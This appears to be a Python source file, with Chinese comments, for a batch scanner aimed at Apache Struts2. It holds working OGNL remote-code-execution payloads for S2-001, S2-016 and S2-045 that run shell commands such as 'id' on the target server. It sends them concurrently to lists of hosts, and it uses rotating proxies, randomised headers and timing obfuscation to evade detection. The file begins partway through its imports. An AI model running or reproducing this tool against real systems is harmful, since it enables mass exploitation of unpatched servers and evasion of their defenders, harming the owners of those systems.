from urllib.parse import urljoin

# 导入前文定义的组件
from proxy_pool import ProxyPool
from anti_detection import generate_random_headers, TimingObfuscator

logger = logging.getLogger(__name__)

class Struts2Scanner:
    """Struts2漏洞批量扫描器"""
    
    # S2漏洞检测Payloads
    DETECTION_PAYLOADS = {
        "S2-001": {
            "path": "/login.action",
            "payload": "%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'id'})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}",
            "param": "username"
        },
        "S2-016": {
            "path": "/",
            "payload": "redirect:${%23out%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23out.println('vulnerable'),%23out.flush(),%23out.close()}",
            "method": "GET",
            "header": None
        },
        "S2-045": {
            "path": "/",
            "payload": "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}",
            "content_type": True
        }
    }
    
    def __init__(self, proxy_pool: ProxyPool = None, concurrency: int = 20):
        self.proxy_pool = proxy_pool
        self.concurrency = concurrency
        self.timing = TimingObfuscator(1.0, 0.3)
        self.results = []
        self.semaphore = asyncio.Semaphore(concurrency)
    
    async def check_single_vuln(self, session: aiohttp.ClientSession,
                               target: str, vuln_name: str, 
                               vuln_config: dict) -> Optional[dict]:
        """检测单个漏洞"""
        try:
            url = urljoin(target, vuln_config["path"])
            headers = generate_random_headers()
            
            if vuln_config.get("content_type"):
                headers["Content-Type"] = vuln_config["payload"]
                # S2-045: 通过Content-Type头发送payload
                async with session.get(
                    url, headers=headers, 
                    timeout=aiohttp.ClientTimeout(total=15)
                ) as resp:
                    text = await resp.text()
                    # 检测回显
                    if "uid=" in text or "root:" in text or "gid=" in text:
                        return {
                            "target": target,
                            "vuln": vuln_name,
                            "evidence": text[:500],
                            "status": "vulnerable"
                        }
            else:
                # 其他漏洞：通过参数发送
                method = vuln_config.get("method", "POST").upper()
                data = {vuln_config.get("param", "data"): vuln_config["payload"]}
                
                if method == "GET":
                    async with session.get(
                        url, params=data, headers=headers,
                        timeout=aiohttp.ClientTimeout(total=15)
                    ) as resp:
                        text = await resp.text()
                        if "vulnerable" in text.lower() or "uid=" in text:
                            return {
                                "target": target,
                                "vuln": vuln_name,
                                "evidence": text[:500],
                                "status": "vulnerable"
                            }
                else:
                    async with session.post(
                        url, data=data, headers=headers,
                        timeout=aiohttp.ClientTimeout(total=15)
                    ) as resp:
                        text = await resp.text()
                        if "uid=" in text or "root:" in text or "vulnerable" in text:
                            return {
                                "target": target,
                                "vuln": vuln_name,
                                "evidence": text[:500],
                                "status": "vulnerable"
                            }
        except asyncio.TimeoutError:
            return {"target": target, "vuln": vuln_name, "status": "timeout"}
        except Exception as e:
            return {"target": target, "vuln": vuln_name, "status": "error", 
                   "error": str(e)[:200]}
        
        return None
    
    async def scan_target(self, session: aiohttp.ClientSession, target: str):
        """扫描单个目标的所有S2漏洞"""
        target = target.rstrip('/')
        if not target.startswith('http'):
            target = f"http://{target}"
        
        # 对每个已知的S2漏洞进行检测
        tasks = []
        for vuln_name, vuln_config in self.DETECTION_PAYLOADS.items():
            # 随机微延迟
            await asyncio.sleep(random.uniform(0.1, 0.3))
            task = self.check_single_vuln(session, target, vuln_name, vuln_config)
            tasks.append(task)
        
        results = await asyncio.gather(*tasks)
        
        for r in results:
            if r and r.get("status") == "vulnerable":
                logger.info(f"[+] {target} - {r['vuln']} found!")
                self.results.append(r)
    
    async def scan_batch(self, targets: List[str]):
        """批量扫描"""
        logger.info(f"Scanning {len(targets)} targets...")
        
        connector = aiohttp.TCPConnector(limit=self.concurrency * 2)
        async with aiohttp.ClientSession(connector=connector) as session:
            tasks = []
            for target in targets:
                task = asyncio.create_task(self.scan_target(session, target))
                tasks.append(task)
            
            # 使用tqdm显示进度
            from tqdm.asyncio import tqdm_asyncio
            await tqdm_asyncio.gather(*tasks, desc="Scanning")
        
        logger.info(f"Scan complete. Found {len(self.results)} vulnerabilities.")
    
    def export_report(self, output_file: str):
        """导出报告"""
        report = {
            "scan_time": time.strftime("%Y-%m-%d %H:%M:%S"),
            "total_targets": len(self.results),
            "findings": self.results
        }
        
        Path(output_file).write_text(
            json.dumps(report, indent=2, ensure_ascii=False)
        )
        logger.info(f"Report saved to {output_file}")


def main():
    parser = argparse.ArgumentParser(description="Struts2 Batch Scanner")
    parser.add_argument("-f", "--file", help="Target list file")
    parser.add_argument("-u", "--url", help="Single target URL")
    parser.add_argument("-t", "--threads", type=int, default=20, 
                       help="Concurrency (default: 20)")
    parser.add_argument("-o", "--output", default="struts2_results.json",
                       help="Output file")
    parser.add_argument("--proxy", help="Proxy URL")
    parser.add_argument("--proxy-file", help="Proxy list file")
    parser.add_argument("-v", "--verbose", action="store_true")
    
    args = parser.parse_args()
    
    if args.verbose:
        logging.basicConfig(level=logging.DEBUG)
    else:
        logging.basicConfig(level=logging.INFO, 
                          format="%(asctime)s [%(levelname)s] %(message)s")
    
    # 加载目标
    targets = []
    if args.file:
        targets = [line.strip() for line in open(args.file) if line.strip()]
    elif args.url:
        targets = [args.url]
    else:
        parser.error("Either -f or -u is required")
    
    # 初始化代理池
    proxy_pool = None
    if args.proxy:
        proxy_pool = ProxyPool(initial_proxies=[args.proxy])
    elif args.proxy_file:
        proxies = [line.strip() for line in open(args.proxy_file) if line.strip()]
        proxy_pool = ProxyPool(initial_proxies=proxies)
    
    # 执行扫描
    scanner = Struts2Scanner(proxy_pool=proxy_pool, concurrency=args.threads)
    asyncio.run(scanner.scan_batch(targets))
    
    # 输出结果
    scanner.export_report(args.output)
    
    # 终端摘要
    print(f"\n{'='*50}")
    print(f"  Scan Summary")
    print(f"  Targets: {len(targets)}")
    print(f"  Vulnerabilities found: {len(scanner.results)}")
    print(f"  Output: {args.output}")
    print(f"{'='*50}")

if __name__ == "__main__":
    main()